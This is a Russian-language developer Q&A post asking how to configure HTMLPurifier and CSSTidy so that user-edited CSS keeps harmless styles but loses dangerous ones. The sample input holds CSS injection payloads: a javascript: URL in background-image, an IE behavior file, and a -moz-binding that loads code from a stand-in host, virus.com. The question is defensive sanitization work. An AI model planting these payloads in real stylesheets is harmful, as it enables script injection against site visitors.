Sanitize CSS с Csstidy с пользовательским фильтром - PullRequest
0 голосов
/ 06 октября 2018

Я разрешаю пользователям моих сайтов напрямую редактировать файл css, чтобы они могли перекраивать все.Но я хочу удалить все опасные коды (это может быть опасно).Например, мне нравится, я хочу удалить как @import, -moz-binding: url('http://virus.com/htmlBindings.xml');, background-image: url(javascript:alert('Injected')); и т. Д., Чтобы мой сайт всегда оставался безопасным.В настоящее время я использую phppurify и csstidy.но проблема в том, что он также удаляет нужные стили CSS.как

$input_css = "
    body {
        margin: 0px;
        padding: 0px;
        /* JS injection */
        background-image: url(javascript:alert('Injected'));
    }
    a {
        color: #ccc;
        text-decoration: none;
        /* dangerous proprietary IE attribute */
        behavior:url(hilite.htc);
        /* dangerous proprietary FF attribute */
        -moz-binding: url('http://virus.com/htmlBindings.xml');
    }
    .banner {
        position: absolute;
        top: 0px;
        left: 0px;
    }
";

, возвращается только a { color:#ccc; text-decoration:none } .banner { }.Я хочу пропустить только опасные свойства.Код, который я использую:

$config = HTMLPurifier_Config::createDefault();
$config->set('Filter.ExtractStyleBlocks', True);

// Create a new purifier instance
$purifier = new HTMLPurifier($config);

// Turn off strict warnings (CSSTidy throws some warnings on PHP 5.2+)
$level = error_reporting(E_ALL & ~E_STRICT);
$html = $purifier->purify('<style>'.$input_css.'</style>');
// Revert error reporting
error_reporting($level);
// The "style" blocks are stored seperately
$output_css = $purifier->context->get('StyleBlocks');
// Get the first style block
var_dump( $output_css[0] );
...